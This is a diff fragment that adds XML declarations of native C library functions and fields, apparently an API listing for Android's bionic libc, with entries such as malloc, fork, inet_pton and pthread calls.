+      <method abstract="false" deprecated="not deprecated" final="true" name="inet_pton" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="drand48" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="calloc" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="iswctype_l" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="setregid" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="srand48" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="puts" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="strdup" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="wcsnlen" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="iswpunct_l" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="pthread_barrierattr_getpshared" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="fgetc" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="pwrite" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="fopen" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="pthread_mutexattr_setpshared" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="mkdtemp" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <field deprecated="not deprecated" final="true" name="optind" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="wcstoumax" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="semop" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="_resolv_delete_cache_for_net" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="mkostemps64" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="__vsnprintf_chk" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="sigsetjmp" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="pwritev" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="mallinfo" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="vfscanf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="wcsrchr" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="fgets" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="wcslen" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="preadv64" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="vsnprintf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="sigset" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="fork" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="pthread_key_delete" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="scandir64" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="isgraph" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="pthread_kill" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="pthread_rwlock_wrlock" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="strlcpy" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="__fp_nquery" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="pthread_attr_getstacksize" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="close" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="lockf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="pthread_cond_wait" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="sem_timedwait" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="__read_chk" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="__system_property_get" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="getgroups" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="tmpnam" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="endgrent" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="__strncpy_chk" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="htonl" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="pthread_rwlock_init" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="openat" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <field deprecated="not deprecated" final="true" name="LIBC" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="creat" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="__stack_chk_fail" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="readlink" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="isspace" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="__strcpy_chk" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="htons" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="wcswidth" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="iswalpha" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="nice" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="gai_strerror" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="difftime" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="klogctl" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="msync" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="towctrans" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="wcsftime" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="ftw" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="clock_gettime" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="wmemcpy" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="getauxval" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="_getlong" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="memset" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="getrlimit" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="pthread_cond_broadcast" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="setresgid" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="utmpname" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="malloc" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="pthread_rwlock_destroy" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="wcpncpy" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="initstate" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="pthread_barrier_wait" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="_resolv_flush_cache_for_net" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="isfinite" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="res_mkquery" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="open_wmemstream" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="funopen" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <field deprecated="not deprecated" final="true" name="error_one_per_line" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="getprotobynumber" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="timerfd_settime" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="ungetwc" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="gethostbyname_r" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="llabs" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="stpcpy" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="readdir_r" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="tmpfile" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="sync_file_range" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="__res_querydomain" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="prlimit64" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="utime" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="wcsdup" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="feof_unlocked" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="fsetxattr" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="getpwent" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="iswprint_l" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="getppid" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="__isfinitef" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="lseek64" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="isnormal" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="sigignore" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="__fwritable" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="malloc_info" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="setvbuf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="dirname" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="fcntl" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="pthread_atfork" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="__isfinitel" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="getgrgid_r" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="__b64_ntop" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="bindresvport" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="bsearch" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="__loc_ntoa" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="mktemp" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="catopen" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="wcstoull" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="imaxabs" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="timegm" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="__res_send_setrhook" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="isinf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="reboot" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="lstat" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="lstat64" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="mkfifo" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="pthread_rwlockattr_destroy" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="__ctype_get_mb_cur_max" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="regfree" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="wcsncasecmp_l" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="execve" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="vdprintf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="fileno_unlocked" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="isspace_l" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="inet_nsap_addr" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="gethostbyaddr" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="catgets" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="sem_init" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="sigsuspend" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="__strncpy_chk2" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="accept" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="ftw64" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="write" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="setstate" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="getgid" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="__memmove_chk" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="execvp" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="__FD_ISSET_chk" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="__res_ninit" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <field deprecated="not deprecated" final="true" name="__sF" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="mkstemps" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="bind" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="gethostbyaddr_r" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="__res_nquery" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="getlogin" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="sem_close" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="__strlcat_chk" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <field deprecated="not deprecated" final="true" name="daylight" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="pthread_attr_setstack" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="shmat" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="pthread_spin_destroy" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="ftello64" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="llistxattr" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="atoll" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="inet_netof" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="timer_getoverrun" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="_flushlbf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="opendir" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="timerfd_gettime" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="ns_name_ntol" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="__sym_ntop" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="pthread_condattr_init" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="wcslcpy" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="__sym_ntos" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="inet_aton" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="ns_name_ntop" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="pthread_getschedparam" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="forkpty" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="nanosleep" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="setpgrp" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="sigrelse" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="delete_module" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="iswgraph_l" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="__getcwd_chk" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="ldexp" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="mlock" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="gmtime_r" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="statvfs" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="timer_delete" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="mmap64" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="posix_fadvise" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="inet_makeaddr" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="fts_read" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <field deprecated="not deprecated" final="true" name="stdin" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="__sched_cpualloc" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="pthread_attr_setdetachstate" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="tcsendbreak" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="chroot" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="fstatvfs64" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="getegid" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="mbrlen" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="process_vm_readv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="getutent" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="pthread_rwlockattr_getkind_np" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="mremap" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="__res_close" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="getpwnam_r" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="clearerr_unlocked" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="posix_openpt" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="getservent" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="isnanf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="getpwnam" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="sigaddset" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <field deprecated="not deprecated" final="true" name="__stack_chk_guard" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="wcstoll_l" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="getsockopt" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="getpagesize" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="memmove" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="tsearch" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="verr" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="isnanl" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="__fread_chk" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="openpty" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="fchmod" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="get_phys_pages" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <field deprecated="not deprecated" final="true" name="timezone" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="wcsnrtombs" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="getdomainname" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="readdir" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="mbrtoc16" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="newlocale" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="__readlink_chk" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="if_nametoindex" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="mallopt" native="true" return="na" static="false" synchronized="true" visibility="public"/>
